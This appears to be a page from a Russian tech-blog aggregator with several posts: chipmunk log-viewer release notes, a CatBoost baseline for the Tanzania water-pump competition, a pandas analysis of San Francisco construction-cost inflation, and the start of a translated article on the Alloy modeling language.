Русский
Русский
English
Авторизация
Ip-адрес
Восстановление пароля
Регистрация
Статистика
Реклама

Analysis

Chipmunk обновления

09.04.2021 10:09:31 | Автор: admin

Короткий обзор очередных обновлений смотрелки логов chipmunk. Много исправлений, много корректировок и немного фишек, в том числе запрашиваемых сообществом.

Последний релиз 2.16.2 вышел пару дней назад и содержит довольно много исправлений, кроме того оптимизирована работа ряда функций. Нет смысла останавливаться на полном перечне изменений, но стоит упомянуть о том, что могло бы быть полезно вам.

О чём это вообще?

Это о программе chipmunk, позволяющей открывать файлы любых размеров и быстро по ним искать. Можно сохранять свои фильтры, можно стоить графики, мерить время и много чего другого, что не будет лишним при анализе логов. Здесь больше.

В деталях

Появилось новое приложение для боковой панели Shell. Фактически это простая запускалка консольных команд. Работает крайне просто вбиваем команду смотрим вывод. Таким образом вы можете проанализировать в chipmunk вывод от любой интересующей вас команды, будь то adb logcat, journalctl или tail.

Приложение боковой панели - ShellПриложение боковой панели - Shell

Кстати о последнем, мы получали от сообщества вопросы о поддержке обновления открытого файла и это будет реализовано в версии 3.0 вместе с миграцией всего ядра на rust. Однако, уже сейчас вы можете просто запустить команду tail -f name_of_live_logfile и получать живой вывод. Естественно, если при этом у вас будет активный поиск, то и результаты его будут обновляться автоматически.

Кроме того, Shell позволяет редактировать переменные окружения. Вы можете изменить или добавить переменные, сохранить всё в ваш профайл и после просто его выбрать. Может быть весьма удобно, если какая-то из ваших консольных программ берёт данные из окружения.

Блиц

  • DLT коннектор теперь понимает и UDP, и TCP, и IPv4 и IPv6. Последние не требуют каких-либо галочек и переключателей, тип адреса будет определён автоматически. Также можно подключиться к нескольким multicast точкам.

  • Исправили рендер графиков. Теперь все отрисовывается корректно и при изменении размеров окна, и при переключении между сессиями.

  • От встроенного терминала решили отказаться. Он не несёт в себе никакого функционала, который можно было бы с пользой интегрировать с chipmunk, но добавляет головной боли с точки зрения зависимостей и стабильности работы программы.

  • Научили chipmunk обновляться через прокси (соответствующие настройки можно найти в меню Settings/General/Network

  • Добавили поддержку копирования и экспорта результатов поиска.

Пожалуй это самое важное. Я не рискну сейчас анонсировать точные сроки по версии 3.0 с ядром на rust, скажу лишь то, что мы рассчитываем на этот год. И это будет легче достигнуть с Вашей поддержкой ведь каждая новая звёздочка на github это не только ценная обратная связь, но и наша ответственность перед Вами!

Скачать без рекламы и регистрации )

linux

windows

mac

Спасибо. Тепла, добра и света!

Подробнее..
Категории: Typescript , Визуализация данных , Rust , Open source , Отладка , Bigdata , Logs , Types , Analysis

CatBoost и ML-конкурсы

15.05.2021 14:20:40 | Автор: admin

Анализ данных и базоваямодель

Вступление

Эта статья основана на данных конкурса, который компания Driven Data опубликовала для решения проблем с источниками воды в Танзании.

Информация для конкурса была получена Министерством водных ресурсов Танзании с использованием платформы с открытым исходным кодом под названием Taarifa. Танзаниясамая большая страна в Восточной Африке с населением около 60 миллионов человек. Половина населения не имеет доступа к чистой воде, а 2/3 населения страдает от плохой санитарии. В бедных домах семьям часто приходится тратить несколько часов пешком, чтобы набрать воду из водяных насосов.

Для решения проблемы с пресной воды Танзании предоставляются миллиарды долларов иностранной помощи. Однако правительство Танзании не может разрешить эту проблему по сей день. Значительная часть водяных насосов полностью вышла из строя или практически не работает, а остальные требуют капитального ремонта. Министерство водных ресурсов Танзании согласилось с Taarifa, и они запустили конкурс в надежде получить подсказки от сообщества для выполнения стоящих перед ними задач.

Данные

В данных много характеристик(фичей), связанных с водяными насосами, имеется информация относящаяся к географическим местоположениям точек с водой, организациям, которые их построили и управляют ими, а также некоторые данные о регионах, территориях местного самоуправления. Также есть информация о типах и количестве платежей.

Пункты водоснабжения разделены на исправные, нефункциональные и исправные, но нуждающиеся в ремонте. Цель конкурсапостроить модель, прогнозирующую функциональность точек водоснабжения.
Данные содержат 59400 строк и 40 столбцов. Целевая метка содержится в отдельном файле.
Показатель, используемый для этого соревнования,это classification rate, который вычисляет процент строк, в которых прогнозируемый класс совпадает с фактическим классом в тестовом наборе. Максимальное значение равно 1, а минимальное0. Цель состоит в том, чтобы максимизировать classification rate.

Анализ данных

Описания полей в таблице с данными:

  • amount_tshобщий статический напор (количество воды, доступное для точки водоснабжения)

  • date_recordedдата сбора данных

  • funderкто спонсировал постройку колодца

  • gps_heightвысота на которой находится колодец

  • installerорганизация построившая колодец

  • longitudeGPS координаты (долгота)

  • latitudeGPS координаты (широта)

  • wpt_nameназвание, если оно есть

  • num_privateнет информации

  • basinгеографический водный бассейн

  • subvillageгеографическая локация

  • regionгеографическая локация

  • region_codeгеографическая локация (код)

  • district_code географическая локация (код)

  • lgaгеографическая локация

  • ward географическая локация

  • populationколичество населения около колодца

  • public_meetingда/нет

  • recorded_by кто собрал данные

  • scheme_managementкто управляет колодцем

  • scheme_nameкто управляет колодцем

  • permitтребуется ли разрешение на доступ

  • construction_yearгод постройки

  • extraction_typeтип колодца

  • extraction_type_groupгруппа типа колодца

  • extraction_type_classкласс типа колодца

  • managementкак управляется колодец

  • management_groupгруппа управления колодца

  • paymentстоимость воды

  • payment_typeтип стоимости воды

  • water_qualityкачество воды

  • quality_groupгруппа качества воды

  • quantityколичество воды

  • quantity_groupгруппа количества воды

  • sourceисточник воды

  • source_typeтип источника воды

  • source_classкласс источника воды

  • waterpoint_typeтип колодца

  • waterpoint_type_groupгруппа типа колодца

    Прежде всего, давайте посмотрим на целевую меткуклассы не имеют равномерного распределения:

    Стоит отметить небольшое количество меток для водяных насосов, нуждающихся в ремонте. Есть несколько способов решить проблему классового дисбаланса:

    • уменьшать количество примеров у преобладающих классов(under-sampling)

    • дублировать строки с метками, которых мало(over-sampling)

    • генерировать синтетические выборкиэто случайная выборка атрибутов из экземпляров в классе меньшинства (SMOTE)

    • ничего не делать и использовать возможности библиотек, которые выбраны для моделирования

    Больше про тактики работы с несбалансированными датасетами можно почитать здесь.

    Посмотрим, как водяные насосы распределяются по территории страны.

    Некоторые данные содержат пустые значения.

    Видим, что выделяется фича scheme_name, у которой огромное количество пропущенных значений, в то время как по остальным их вполне умеренное количество.

    Следующая тепловая карта представляет наличие/отсутствие связи между переменными. Стоит обратить внимание на соотношение между permit, installer и funder.

    Давайте посмотрим на общую картину взаимоотношений на дендрограмме.

    В характеристиках водяных насосов есть та, которая показывает количество воды. Мы можем проверить, как количество воды связано с состоянием насосов (quantity_group).

    Видно, что есть много колодцев с достаточным количеством воды, которые не функционируют. С точки зрения эффективности вложений логично сосредоточиться в первую очередь на ремонте именно этой группы. Также можно отметить, что большинство сухих насосов не работают. Если найти способ снова заполнить эти колодцы водой, они, вероятно, смогут заработать без дополнителных капиталовложений.

    Влияет ли качество воды на состояние водяных насосов? Мы можем посмотреть на данные, сгруппированные по quality_group.

    К сожалению, этот график не очень информативен, так как количество источников с хорошей водой преобладает. Попробуем сгруппировать только источники с менее качественной водой.

    Большинство колодцев с неизвестным качеством из quality_group не работают.

    Есть еще одна интересная характеристика водных точеких тип (waterpoint_type_group).

    Анализ данных по водным точкам показывает, что в группе с other типом много неработающих насосов. Они устарели? Мы можем проверить, как влияет год постройки насоса.

    Ожидаемый результатчем старше водозабор, тем выше вероятность того, что он не функционирует, в основном до 80-х годов.

    Теперь попробуем получить представление о финансирующих организациях. Предположительно, состояние скважин может коррелировать с финансированием. Рассмотрим только организации, которые финансируют более 500 пунктов водоснабжения.

    Danidaсовместная организация Танзании и Дании по финансированию скважин, и хотя у них много работающих водозаборов, процент неисправных очень высок. Похожая ситуация с RWSSP (программа сельского водоснабжения и канализации), Dhv и некоторыми другими. Следует отметить, что большинство скважин, профинансированных Германией и частными лицами, находятся в рабочем состоянии. Напротив, большое количество скважин, которые финансируются государством, не функционируют. Большинство пунктов водоснабжения, установленных центральным правительством и районным советом, также не работают.

    Рассмотрим гипотезу о том, что чистота воды и водный бассейн, к которому принадлежит скважина, могут влиять на функционирование. Прежде всего, давайте посмотрим на водоемы.

    Сильно выделяются два бассейнаРувим и озеро Руква. Количество сломанных колодцев там больше всего.

    Известно, что некоторые скважины платные. Можно предположить, что выплаты могут положительно повлиять на поддержание насосов в рабочем состоянии.

    Гипотеза полностью подтверждаетсяплата за воду помогает поддерживать источник в рабочем состоянии.

    Помимо категориальных параметров, данные содержат числовую информацию, которую мы можем посмотреть и, возможно, найти что-нибудь интересное.

    Часть данных была заполнена значением 0 вместо реальных данных. Мы также можем видеть, что amount_tsh выше у исправных колодцев (label = 0). Также следует обратить внимание на выбросы в функции amount_tsh. В качестве особенности можно отметить перепад высот и тот факт, что значительная часть населения проживает на высоте 500 метров над средним уровнем моря.

Подготовка данных

Прежде чем приступить к созданию модели, нам необходимо очистить и подготовить данные.

  • Фича installer содержит множество повторов с разными регистрами, орфографическими ошибками и сокращениями. Давайте сначала переведем все в нижний регистр. Затем по простым правилам уменьшаем количество ошибок и делаем группировку.

  • После очистки мы заменяем все элементы, которые встречаются менее 71 раз (0,95 квантиля), на other.

  • Повторяем по аналогии с фичей funder. Порог отсечки98.

  • Данные содержат фичи с очень похожими категориями. Выберем только по одной из них. Поскольку в датасете не так много данных, мы оставляем функцию с наименьшим набором категорий. Удаляем следующие фичи: scheme_management, quantity_group, water_quality, payment_type, extraction_type, waterpoint_type_group, region_code.

  • Заменим latitude и longitude значения у выбросов медианным значением для соответсвующего региона из region_code.

  • Аналогично повторям для пропущенных значений для subvillage и scheme_name.

  • Пропущенные значения в public_meeting и permit заменяем медианным значением.

  • Для subvillage, public_meeting, scheme_name, permit, создаем дополнительные категориальные бинарные фичи, которы будут отмечать данные с пропущенными значениями. Так как мы заменяем их на медианные, то для модели оставим информацию, что пропуски были.

  • Фичи scheme_management, quantity_group, water_quality, region_code, payment_type, extraction_type, waterpoint_type_group, date_recorded, и recorded_by можно удалить, так как там повторяются данные из других фичей, для модели они будут бесполезны.

Модель

Данные содержат большое количество категориальных признаков. Наиболее подходящим для получения базовой модели, на мой взгляд, является CatBoost. Это высокопроизводительная библиотека для градиентного бустинга с открытым исходным кодом.

Не будем подбирать оптимальные параметры, пусть это будет домашним заданием. Напишем функцию для инициализации и обучения модели.

def fit_model(train_pool, test_pool, **kwargs):    model = CatBoostClassifier(        max_ctr_complexity=5,        task_type='CPU',        iterations=10000,        eval_metric='AUC',        od_type='Iter',        od_wait=500,        **kwargs    )return model.fit(        train_pool,        eval_set=test_pool,        verbose=1000,        plot=False,        use_best_model=True)

Для оценки был выбран AUC, потому что данные сильно несбалансированы, и этот показатель вполне подходит для таких случаев так как несбалансированность на него не влияет.

Для целевой метрики мы можем написать нашу функцию. А использование ее на этапе обучениятоже будет домашним заданием

def classification_rate(y, y_pred):    return np.sum(y==y_pred)/len(y)

Поскольку данных мало, разбивать полную выборку на обучающую и проверочную частине лучший вариант. В этом случае лучше использовать методику OOF (Out-of-Fold). Мы не будем использовать сторонние библиотеки; давайте попробуем написать простую функцию. Обратите внимание, что разбиение набора данных на фолды необходимо стратифицировать.

def get_oof(n_folds, x_train, y, x_test, cat_features, seeds):    ntrain = x_train.shape[0]    ntest = x_test.shape[0]              oof_train = np.zeros((len(seeds), ntrain, 3))    oof_test = np.zeros((ntest, 3))    oof_test_skf = np.empty((len(seeds), n_folds, ntest, 3))    test_pool = Pool(data=x_test, cat_features=cat_features)     models = {}    for iseed, seed in enumerate(seeds):        kf = StratifiedKFold(            n_splits=n_folds,            shuffle=True,            random_state=seed)                  for i, (train_index, test_index) in enumerate(kf.split(x_train, y)):            print(f'\nSeed {seed}, Fold {i}')            x_tr = x_train.iloc[train_index, :]            y_tr = y[train_index]            x_te = x_train.iloc[test_index, :]            y_te = y[test_index]            train_pool = Pool(data=x_tr, label=y_tr, cat_features=cat_features)            valid_pool = Pool(data=x_te, label=y_te, cat_features=cat_features)model = fit_model(                train_pool, valid_pool,                loss_function='MultiClass',                random_seed=seed            )            oof_train[iseed, test_index, :] = model.predict_proba(x_te)            oof_test_skf[iseed, i, :, :] = model.predict_proba(x_test)            models[(seed, i)] = modeloof_test[:, :] = oof_test_skf.mean(axis=1).mean(axis=0)    oof_train = oof_train.mean(axis=0)    return oof_train, oof_test, models

Чтобы уменьшить зависимость от случайности разбиения, мы зададим несколько разных начальных значений для расчета предсказанийпараметр seeds.

Кривая обучения одного изфолдовКривая обучения одного изфолдов

Кривые обучения выглядят оптимистично, и модель должна предсказывать тоже хорошо.

Посмотрев на важность фичей в модели, мы можем убедиться в отсутствии явной утечки информации (лика).

После усреднения прогнозов:

balanced accuracy: 0.6703822994494413classification rate: 0.8198316498316498

Попробуем загрузить результаты на сайт с конкурсом и посмотрим на результат.

Учитывая, что на момент написания этой статьи результат топ-5 был только на 0,005 лучше, мы можем сказать, что базовая модель получилась хорошей.

Проверим, что работы по анализу и очистке данных делались не зря построим модель исключительно на основе исходных данных. Единственное, что мы сделаем, это заполним пропущенные значения нулями.

balanced accuracy: 0.6549535670689709classification rate: 0.8108249158249158

Результат заметно хуже.

Итоги

В статье:

  • познакомились с данными и поискали идеи для модели;

  • очистили и подготовили данные для модели;

  • приняли решение использовать CatBoost, так как основная масса фичей категориальные;

  • написали функцию для OOF-предсказания;

  • получили отличный результат для базовой модели.

Правильный подход к подготовке данных и выбору правильных инструментов для создания модели может дать отличные результаты даже без дополнительной фиче-генерации.

В качестве домашнего задания я предлагаю добавить новые фичи, выбрать оптимальные параметры модели, использовать другие библиотеки для повышения градиента и построить ансамбли из полученных моделей.

Код из статьи можно посмотреть здесь.

Подробнее..
Категории: Программирование , Визуализация данных , Python , Машинное обучение , Kaggle , Ml , Классификация , Analysis , Соревнование , Catboost , Машинное+обучение , Eda

Стоимость строительных работ в Сан-Франциско. Инфляция и рост стоимости работ за последние 30 лет

04.08.2020 14:20:22 | Автор: admin
Данные о более чем миллионе разрешений на строительство (записей в двух датасетах) от департамента по строительству Сан-Франциско позволяют проанализировать не только строительную активность в городе, но и критически рассмотреть последнии тенденции и историю развития строительной отрасли за последние 30 лет.

В прошлой статье была рассмотрена общая годовая сумма строительных объемов (инвестиций) в Сан-Франциско в период с 1980 по 2018 год. По разнице между ожидаемой (сметной) и фактической (пересмотренной) стоимостью строительства отслеживались движения настроений инвесторов в периоды экономических бумов и кризисов в регионе.

Взлёты и падения строительной отрасли Сан-Франциско. Тенденции и история развития строительной активности

В данной статье рассмотрим подробнее отдельные отрасли строительства: ремонт крыш, кухонь, лестниц и ванных комнат. После этого сравним инфляцию по отдельным типам работ с данными по официальной инфляции и другими экономическими показателями.

Выводы, разобранные в этой статье


  • Инфляция в строительстве в два раза больше официальной инфляции в стране.
  • Спрос на различные типы жилья год от года меняется и зависит от различных экономических циклов.
  • Экспоненциальный спрос на строительства апартаментов (Apartments) пришелся на последний Хай-тек бум (2016 год)
  • Пик спроса на торговые площади (Retail) и увеличение объемов строительства более чем в 16 раз пришёлся на пик Доткомов (2001 год).
  • Стоимость ремонта крыши и кухни увеличилась за последние 30 лет более чем в 3 раза.
  • Стоимость ремонта ванной комнаты увеличилась за период с 1980 по 2019 год в 5 раза.
  • Бизнес по строительству лестниц почти не повышает цены на ремонт уже почти 30 лет.
  • Цена планового ремонта по 4 категориям (крыша, ванна, кухня, лестница) у однофамильного дома и у двухфамильного дома отличается на 15%.
  • Для общего ремонта по 4 категориям каждые 15-20 лет стоимость ремонта кухни, ванной, крыши и лестницы, в одно-фамильном доме составит примерно $ 54 000 тогда как для двух-фамильного дома эта сумма составит $ 61 000.
  • Бизнес связанный со строительством домов в Сан-Франциско показывает плавный устойчивый рост без колебаний уже 30 лет.
  • Бизнес связанный со строительством торговых площадей, офисов и апартаментов волатильный и имеет многочисленные экспоненциальные взлеты и падения.
  • Если наблюдать многократный рост в течении короткого времени, в следующие два года можно ожидать такого же по интенсивности стремительного падения.
  • Если нужно узнать на сколько поднимется средняя цена на ремонт, следи за стоимостью ставки по 10 летним государственным облигациям.

Построение графиков и расчётов проводилось в Jupyter Notebook (на платформе Kaggle.com).

Взлеты и падения строительной отрасли Сан-Франциско по типу жилья


Технологическая индустрия Сан Франциско является одним из виновников резкого роста цен. Технические работники, зарабатывающие шестизначные цифры, переезжают в город, чтобы работать в стартапах и в более авторитетных компаниях, таких как Google, Facebook, Twitter и Apple резко увеличивают стоимость жизни и увеличивают спрос на жилье. Программисты с карманами, набитыми техническими деньгами, могут позволить себе перекупить большинство местных жителей на рынке недвижимости.

При этом, с точки зрения законодательства в сфере градостроительства Сан-Франциско является одним из наиболее регулируемых городов в Америке. Эти и многие другие факторы сильно ограничивают объемы строительства и влияет на цены и спрос в Сан-Франциско.

Поэтому спрос на различные типы жилья год от года меняется и зависит от различных экономических циклов в регионе. Каждый тип жилья имел и будет иметь свои взлеты и падения на рынке строительства в Сан-Франциско, как например взрыв спроса на апартаменты с 2012 по 2015 год почти в 10 раз, или хайповый, более чем в 16 раз рост спроса с 1997 по 1999 год на торговые площади.

В статье о годовой общей сумме строительных работ, график движения за период с 1980 по 2018 год разделялся на две составляющие:

  • Предположительная (сметная) стоимость работ (синяя линия)
  • Фактическая (пересмотренная) стоимость работ (желтая линия)



Рассмотрим суммарные данные по общей стоимости глубже и перейдём к следующему слою данных.

Общую суммарную стоимость работ разобьем на категории работ по параметру тип жилья (Existing Use):

  • Apartaments (апартаменты)
  • Retail (торговые площади)
  • Office (офисные пространства и бюро)
  • Жилая недвижимость (одно- двух-семейные дома)

dfn = df.dropna(subset=['description'])dfn.description.isnull().values.any()#dfn = dfn[dfn['description'].str.match('kitchen')]df_unit = dfn.loc[:,['revised_cost','existing_use', 'existing_units', 'zipcode','permit_creation_date']]df_unit = df_unit.dropna()#keys = ["hotel","appartments"]df_unit = df_unit[df_unit.existing_use.str.contains("apartments")]#data_loc = df_unit.loc[['estimated_cost', 'revised_cost','permit_creation_date']]data_cost = df_unit data_cost.permit_creation_date = pd.to_datetime(data_cost.permit_creation_date)data_cost = data_cost.set_index('permit_creation_date')data_cost = data_cost[data_cost.index > "1985-8-01"] data_cost = data_cost[data_cost.index < "2019-8-31"] data_cost = data_cost.dropna()data_cost_m = data_cost.groupby(pd.Grouper(freq='300d')).sum()#data_cost_m.head()plt.figure(figsize=(19,8))ax = sns.lineplot(data=data_cost_m.revised_cost, linewidth=3, size = 17)ax.set(xlabel='retail')major_ticks = np.arange(0, 1500000000, 200000000)ax.set_yticks(major_ticks)ax.set(ylim=(0, 1500000000))plt.savefig('plotname.png', transparent=True)



Видно что все типы недвижимости в разные экономические периоды проходили через стремительный параболический (хайповый) рост и такое же стремительное падение.

  1. Пик строительства апартаментов (Apartments) пришелся на последний Хай-тек бум, который был связан с притоком большого количества новых технических работников со всего мира в быстрорастущие фирмы силиконовой долины. Спрос на апартаменты с 2012 по 2015 увеличился в 10 раз. c $ 133 млн в 2012 году до $ 1,4 млрд. инвестированных только в апартаменты в 2015 году.
  2. Пик спроса на торговые площади (Retail) в свою очередь пришёлся на хайп Доткомов. Спрос на торговые площади с 1997 по 1999 увеличился в 16 раз. c $ 22 млн в 1997 до $ 350 млн. инвестированных только в торговые площади в 1999 году. Но схлопывание пузыря привело к исходу технических работников из города и спрос на торговые площади резко упал, и вернулся к стандартному уровню. При этом последний технический бум никак не повлиял на спрос торговых площадей и скорее уже построенные в конце 90-х лишние метры удовлетворяют современный спрос на торговые площади.
  3. Рост спроса на офисную недвижимости (Office) также связан с развитием гигантов силиконовой долины. Но здесь начиная с 2000 года, в отличии от торговой недвижимости и апартаментов, прослеживается устойчивый рост спроса который сопровождается многочисленными, небольшими взлетами и падениями.
  4. Рост инвестиций в жилую недвижимость совпадает по динамики роста с офисной недвижимостью, но отличается от роста офисных площадей плавностью роста и отсутствием больших колебаний спроса.

Если соединить эти 4 основные категории в один график, получаем знакомый по первой статье общий рост и падения всех инвестиций в строительство в городе Сан-Франциско.



Средняя стоимость ремонта кухни и ванны в Сан-Франциско


Взяв данные из характеристики (Feature) Description, мы можем дополнительно отобрать данные по отдельным категориям работ и посмотреть, сколько в среднем стоит ремонт кухни или ванны в Сан-Франциско для различных типов жилья.

fam1 = df_unit[df_unit['existing_use']=='1 family dwelling']['estimated_cost'].mean()fam2 = df_unit[df_unit['existing_use']=='2 family dwelling']['estimated_cost'].mean()office = df_unit[df_unit['existing_use']=='office']['estimated_cost'].mean()apartments = df_unit[df_unit['existing_use']=='apartments']['estimated_cost'].mean()data = {'1 family dwelling':fam1,'2 family dwelling':fam2,'Apartments':apartments}typedf = pd.DataFrame(data = data,index=['redevelopment of the bathroom'])typedf.plot(kind='barh', title="Average estimated cost by type", figsize=(8,6));



Стоимость ремонта кухни в Сан-Франциско почти в два раза больше чем стоимость ремонта ванной комнаты. Логично при этом что средняя стоимость ремонта ванной комнаты на $2 000 больше для двух-фамильного дома ($16 000) чем для одно-фамильного дома ($14 000).

Но при этом средняя стоимость ремонта кухни для двух-фамильного дома ($25 000) почти на 3000$ меньше чем для одно-фамильного дома ($28 000).

Средняя стоимость ремонта крыши и лестницы в Сан-Франциско


По той же характеристике (Feature) Description, отберем только те строки, которые содержат слова reroofing (перекладка крыши) и stairs (ремонт лестницы).



По средней стоимости ремонта крыши, логично что ремонт крыши (из за большей площади крыши у двух-фамильных домов) в среднем на 2000$ больше чем у одно-фамильных домов.

Стоимость ремонта лестницы также в два раза больше для двух-фамильного дома, потому что в одно-фамильном доме лестница или отсутствует (или это только однопролетная лестница).

Стоимость планового ремонта дома в Сан-Франциско


Ремонт кухни, ванной в среднем рекомендуется проводить один раз в 10-15 лет. Ремонт крыши и лестницы один раз в 15-20 лет.



В общем если теоретически через 15 лет после строительства дома произвести ремонт кухни, ванной, крыши и лестницы за один год, то в одно-фамильном доме вам нужно будет накопить для этого $54 000 тогда как для двух-фамильного дома эта сумма составит $61 000. Разница в общей стоимости работ по этим четырем категориям составляет всего 15%.
Таким образом после строительства нового дома, для того чтобы произвести ремонт в доме по четырем категориям (кухня, ванна, крыша, лестница), необходимо ежемесячно откладывать по $350, чтобы через 15 лет накопить необходимые $60 000 для ремонта.

Рост стоимости строительных работ в Сан-Франциско


Взяв данные по категориям работ, и сгруппировав их по годам, можно наблюдать за ростом (и инфляцией) средней стоимости ремонтных работ по типу жилья.

years = list(range(1980, 2020)) keywords = ['1 family dwelling','2 family dwelling','apartments']val_data = []for year in years:    iss_data = []    for word in keywords:        v = df_unit[(df_unit['existing_use']==word) & (df_unit['issued_date']== year)]['estimated_cost'].mean()        iss_data.append(v)    val_data.append(iss_data)#print(val_data)

В следующем графике данные о средней стоимости по типу жилья представлен, как и в предыдущем параграфе, в столбчатом виде.



Этот же график, для наглядного отображения но уже в виде линий, даёт уже более понятную инфляционную картину.

dfnew.plot.bar(figsize=(20, 8)) plt.xlabel("Years")plt.ylabel("Estimated cost of reroofing")plt.title("Estimated cost of reroofing by year");dfnew.plot.line(figsize=(12, 6))



Среднюю же стоимость ремонта крыши характеризует плавный рост начиная с 1990 года.
В отличии от жилых домов средняя стоимость ремонта крыши апартаментов в этот же период проходила многочисленные подъемы и падения.


В стоимости ремонта крыш апартаментов прослеживаются краткосрочные 3 летние циклы.

В отличии от ровной динамики роста средней стоимости ремонта крыш, средняя стоимость ремонт кухонь имеет бОльшую волатильность.



В ремонте кухонь, так же как и в ремонте крыш апартаментов прослеживаются краткосрочные 2x-3-x летние циклы.

В ремонте же ванных комнат уже таких циклов не прослеживается и рост средней стоимости строительства здесь более пологий. Выделяется только повышенная средняя стоимость ремонта ванн в апартаментах перед бумом доткомов?!



Инфляция стоимости строительных работ в Сан-Франциско.


Для того чтобы найти инфляцию средней стоимости ремонта за весь период с 1980 по 2019 год дополним данные трендовой линией. При вычислении инфляции (взяв начальную и конечную точку трендовой линии) получаем, что максимальная инфляция в стоимости за период с 1990 по 2018 год произошла в сфере ванных комнат.

Средняя стоимость ремонта ванной комнаты за последние 30 лет возросла почти в 5 раз (возможно стоимость ремонта выросла из за появления появившихся на рынке новых отделочных материалов и дорогой (и доступной) керамике и сантехники?!).

sns.regplot(y=dfnew_2['2 family dwelling'],x=dfnew_2['index'],data=dfnew_2, fit_reg=True) #sns.jointplot(dfnew_2['index'], dfnew_2['2 family dwelling'], data=dfnew_2, fit_reg=True, stat_func=stats.pearsonr)lines = plt.gca().lineslower1990 = [line.get_ydata().min() for line in lines]upper2019 = [line.get_ydata().max() for line in lines]plt.scatter(1990, lower1990, marker='x', color='C3', zorder=3)plt.scatter(2019, upper2019, marker='x', color='C3', zorder=3)print("In 1990 it cost = $" + str(lower1990[0].round()) + "; In 2019 it cost = $ " + str(upper2019[0].round()))print("Inflation for the period 1980-2019 = " + str(((upper2019[0]-lower1990[0])/lower1990[0]*100).round())+"%")all2 = [line.get_ydata() for line in lines]



Меньше всего отклонений по значениям в категории ремонт крыш, где за последние 30 лет инфляция составила 250% (средняя цена увеличилась более чем в 3 раза). Стоимость ремонта кухни также увеличилась за последние 30 лет в 3 раза.
В тот же самый период, стоимость ремонта лестницы с 1980 по 2019 год почти не изменилась и инфляция средней стоимости в этой сфере строительства составила лишь 85%.


Представим теперь развитие роста инфляции для большей наглядности в едином масштабе, где инфляция варьируется от 0 до 9% и посмотрим на падение ежегодной инфляции стоимости ремонта по категориям в период с 1980 по 2019 год.



Заметно что ежегодная инфляция за последние 30 лет снизилась во всех категориях почти в 2-4 раз (например в ремонте крыш с 8% в 1990 до почти 2% в 2019 году). Это полностью совпадает с экономической политикой в этот период (с 1980 по 2019 год).
Если сравнить официальные данные по инфляции и данные по инфляции в строительном секторе будет видно что только в одном секторе официальная инфляция совпала с инфляцией стоимости работ.


Рост стоимости работ по ремонту лестниц полностью совпадал с официальной инфляцией. В остальных же категориях работ ежегодный рост стоимости строительных работ за последние 30 лет опережал официальную инфляцию почти в 2 раза.

Движение же инфляции по таким категориям как ремонт крыши, ремонт ванных комнат и кухонь, почти полность совпадало с движением процентной ставки по 30 летним кредитам (и соответственно с доходности 10 летних казначейских облигаций).


30-летняя фиксированная ипотека это кредит, процентная ставка которого остается неизменной на протяжении всего срока кредита.
Например, при 30-летней ипотеке в размере 300 000 долларов США с 20% первоначальным взносом и процентной ставкой 3,75% ежемесячные выплаты составят около 1111 долларов США (без учета налогов и страхования). Таким образом, процентная ставка 3,75% (и ежемесячный платеж) остаются неизменными на протяжении всего срока кредита.
10-летний казначейский курс это доход, полученный за инвестиции в выпущенные правительством США казначейские ценные бумаги со сроком погашения 10 лет.

Инфляция в строительстве


Можно видеть, что изменения в стоимости работ совпадает с процентной ставкой по государственным облигациям. График Пола Шмельцинга (профессора Гарвардского университета) показывает, как изменялись глобальные реальные процентные ставки в течение последних восьми веков.



Собирая данные по реальным процентным ставкам в странах с развитой экономикой, Шмельцинг показывает, что реальные показатели показывают отрицательный тренд процентной ставки с 14 века.

Для сравнения период, который рассматривался в статье обозначен желтым цветом.



Начиная с 1311 года, данные из отчета показывают, как средние реальные ставки изменились с 5,1% в 1300-х годах до среднего 2% в 1900-х годах.

Средняя реальная ставка в период 2000-2018 годов составляет 1,3%.


Вместе с реальной ставкой, конечно же снижается и доходность отраслей, которая коррелирует с этой ставкой. Это в первую очередь такие древние отрасли, как аграрная промышленность и строительная отрасль.
Скорее всего в период с 2020 по 2030 год мы увидим новые рекордные минимумы реальных ставок и соответственно снижение доходности в строительной отрасли. Но если доходность снижается, возможно это означает, что производительность будет увеличиваться на эти же недостающие проценты.
Если раньше в строительстве была большая маржа в 10-15%, и компаниям не нужно было задумываться о внедрении новых технологий (которых в принципе было немного), то теперь мы вступаем в новую эпоху низких реальных ставок и низкой маржи в 2-5%, где основную роль в строительной компании будет играть наличие новых инструментов и процессов в работе компании.
Инструментов и новых технологий, которые могут использоваться уже сейчас в строительстве в данный момент в переизбытке.
Строительным компаниям понадобятся десятилетия, для того чтобы эти новые технологии нашли своё место в тяжелоповоротливой и сопротивляющейся строительной отрасли .
Примерно в то же время, когда в Москве начнут работать беспилотные такси российские строительные компании начнут постепенно заменять планировщиков на нижних уровнях автоматизироваными скриптами и инструментами, используюшие технологии больших данных и машинного обучения.

Ссылки на предыдущие публикации по этой теме:


Ссылка на Jupyter Notebook: San Francisco. Building sector 1980-2019.

Если вам нравится мой контент, пожалуйста, подумайте о покупке мне кофе.

Спасибо за вашу поддержку! Купить кофе автору
Подробнее..
Категории: Визуализация данных , Python , Big data , Data mining , Data engineering , Analytics , Строительство , Jupyter notebook , Америка , San francisco , Valley , Usa , Analysis

Перевод Язык моделирования Alloy и приключения с параллельными запросами к базе данных

10.03.2021 16:14:14 | Автор: admin

Данная статья описывает небольшой пример того, как использование языка моделирования Alloy может помочь при разработке программного обеспечения.



О качестве программного обеспечения и инструментарии


В Typeable мы придаем огромное значение качеству программного обеспечения и прикладываем все усилия, чтобы обеспечить это качество. В настоящее время мы искореняем ошибки следующими способами:


  1. Анализ и создание спецификаций
  2. Устранение простых ошибок с использованием системы типов Haskell
  3. Стандартные юнит-тесты и интеграционные тесты
  4. Непрерывная интеграция
  5. Обязательные ревью кода
  6. Тестирование на стендах, проводимое QA инженерами
    (мы используем Octopod для оптимизации процесса разработки и QA)
  7. Тестирование в pre-production среде
  8. Ведение логов и контроль ошибок на этапе эксплуатации

Такое большое число шагов обеспечивает высокое качество кода, но при этом сказывается на затратах. Для выполнения этих шагов нужно и время, и труд.


Один из способов сокращения этих затрат заключается в выявлении ошибок на ранней стадии. По грубой оценке, если система типов обнаруживает вашу ошибку, это происходит в течение 30 секунд после сохранения файла. Если ошибка найдена во время CI, получение информации об ошибке займёт до 30 минут. Кроме того, после исправления ошибки вам придётся ждать еще 30 минут, пока CI не отработает снова.


